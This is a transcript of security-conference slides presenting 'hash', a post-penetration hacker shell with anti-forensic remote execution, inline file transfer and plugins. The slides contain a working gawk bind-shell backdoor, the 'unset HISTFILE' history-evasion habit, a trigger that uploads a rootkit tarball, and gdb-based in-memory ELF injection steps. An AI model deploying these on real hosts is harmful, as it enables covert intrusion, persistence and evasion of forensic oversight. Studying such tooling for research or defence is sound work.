Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq Agenda...

45
Hacking Sucks! Why hash makes the hurting stop the grugq < [email protected] >

Transcript of Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq Agenda...

Page 1: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Hacking Sucks!Why hash makes the hurting stop

the grugq <[email protected]>

Page 2: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Agenda

Why Hacking Sucks

Where Hacking Sucks

Make the Hurting Stop

Post Penetration Pleasures

Concluding Thoughts

Q&A

Page 3: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

On Why Hacking Sucks

Page 4: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Why Hacking Sucks

Hacking requires too much manual intervention

Doing things “by hand”

Difficult to integrate anti-forensics into the process

Tools don’t work together seamlessly

Page 5: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Hacking sucks because hacking environments suck

Page 6: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Hacking Environments Suck

Underpowered

Lack necessary features

All or nothing approach

Can’t combine different tools

Page 7: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Crap Hacking Environments

GUI Environments - pornographic hacking

Limited post-penetration control

CLI Environments - bare back hacking

Non-existent post-penetration control

Page 8: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Hacking ContinuumWhere hacking sucks, specifically...

Page 9: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Research - pre-penetration

Find bugs

Fuzzers, code analysis engines, etc. etc.

Develop exploits

Exploit frameworks, etc. etc.

Locate targets

Scanners, search engines, etc. etc.

Page 10: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Exploit - penetration

Evade detection

Anti-IDS / IPS tools

Enter the box

Exploits, stolen passwords, trust relationships

Page 11: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Prep ‘n’ Play - post-penetration

Prepare for retention

Cleanup, secure, install tools

This sucks!

Page 12: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Retain - re-penetration

Avoid discovery

Rootkits, backdoors, covert channels

Search for valuable data/useful information

Google desktop, grep

Page 13: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

So, what is the problem?

Page 14: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Post Penetration Pain

Restricted to a shell

No access to local system

File transfer is annoying

cat and uudecode suck

Habits of highly effective hackers

unset HISTFILE

Page 15: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Pain Point Revisited

Immediately after penetrating a host, there is no support for:

Automation

Integrated anti-forensics

Other basic functionality

Logging, file transfer, etc.

Page 16: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

We’re still hacking like it is 1999!

Page 17: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Make the hurting stop! What is to be done?

Page 18: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

What we want...

Easy Automation

Total Control

Logging / Data Retention

Robust

Extensible

Page 19: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

A Hacking Harness

Harness - a framework for:

Automating tasks

Completely controlling the environment

A hacking harness enables this functionality for hacking

Page 20: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Post Penetration PleasuresPresenting: hash

Page 21: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

hash

hacker shell

World’s first (public) hacking harness

Post penetration enablement tool

Page 22: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Brief History

Inspired by a private tool in 2000

Initial development as xsh in 2003

Written in C - wrong language for the job

Spent months dealing with terminal I/O

Restarted in Python in June 2007

Over a dozen implementations

Page 23: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Design: Components

Slaved pty sub-shell

Multiplexing pty command and control daemon

Hacking environment

Builtin commands

Plugin framework

Overlay executables

Page 24: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Hash Implementation

python

pty slave shell - std hacking environment

dtach module - multiplexing master/slave pty

overlay

generic extension capabilities via process fork() + fd3

basic builtin file system access: pwd, chdir/cd, etc.

Page 25: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Design: Diagram

kbd

hash

dtach shell

shell procdaemon prochash proc

Page 26: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Features

Hacking utilities

Inline file transfer

qondom - remote diskless execution

Builtins

Triggers

Aliasing

Basic file system and shell escape commands

Page 27: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Hacking Utilitiesqondom - Anti Forensic Remote Execution

inline ftp - file transfer without cat and uudecode

Page 28: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Implementation:Inline File Transfer

Pass file content as hexdump “encoded” data

hash% put <file>

decode with echo

echo -e -n ‘\x...’ >> $FILE_NAME

hash% get <file>

encode with octal dump (od)

od -t x1 -v $FILE | sed -e ‘s///’

Page 29: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

qondomMakes it easy to clean up the mess

Page 30: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

qondom Technique: scripts

Read local script content

Execute remote script interpreter

Send script over STDIN to interpreter

Done!

Page 31: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

A Backdoor in gawk

BEGIN { Port = 8080 Prompt = "bkd> "

Service = "/inet/tcp/" Port "/0/0" while (1) { do { printf Prompt |& Service Service |& getline cmd if (cmd) { while ((cmd |& getline) > 0) print $0 |& Service close(cmd) } } while (cmd != "exit") close(Service) }}

Page 32: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

qondom Techniques: binaries

Requires a text based manipulation of process address space

Debuggers!

Standard tools

Not incriminating

Not traceable

Page 33: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

qondom History: rexec 2003

Originally published in Phrack 62 (2003)

Inspired by CORE Impact’s syscall proxying

Written as a C library

Generated absolutely no interest

Page 34: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Howto execute an ELF

Create a process address space

Map down existing process image

Allocate space for new process image

Relocate process image

Inject process image

Transfer control of execution

Page 35: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

qondom gdbrpc

Execute system calls(gdb) p/x mmap(...)

Copy in data(gdb) p/x memcpy(0x.., “\x00\x...”, ...)

Set registers (gdb) p/x $eax = 0x01

Set values

(gdb) *(int *) 0x... = 0x...

Page 36: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Builtin core commandsBatteries included

Page 37: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Triggers

Monitor output stream of pty process, automatically execute commands on triggers

trigger ‘^# $’ = “unset HISTFILE; ^\put rk.tgz”

TODO: Implement this without massive performance overhead

Page 38: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Alias commands

Create an alias for a sequence of commands

alias newroot=”unset HISTFILE”

TODO: Allow aliased commands to access hash commands

Page 39: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Misc. Commands

Keep a complete record of all session data

log

Dump local files to STDIN of pty shell

cat <file1> [<file2> ...]

Change hash current working directory

cd <dir>

Page 40: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Misc. Commands cont.

Shell escapes

! <shell command>

Page 41: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Extending hashPlugins and overlay

Page 42: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

hash Plugin System

Inherit from plugin.Plugin

Access the pty slave shell via

self.shell.system( command )

self.shell.init()

self.shell.run()

self.shell.fini()

Page 43: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Overlay commands

Generic interface to interacting with the pty slave

overlay fork()s a process with fd 3 linked to the pty

Any program can do programmatic I/O via fd 3

shell scripts can use ptyexec / ptyrun

Page 44: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Concluding Thoughts

Hacking harnesses are crucial penetration testing tools

Expect more developments in this space

hash is the first public hacking harness

not just a new tool, a new type of tool

Available for download

http://www.tacticalvoip.com/tools.html

Page 45: Hacking Sucks! - GitHub Pages · Hacking Sucks! Why hash makes the hurting stop the grugq  Agenda ... cat and uudecode suck Habits of highly effective

Q & A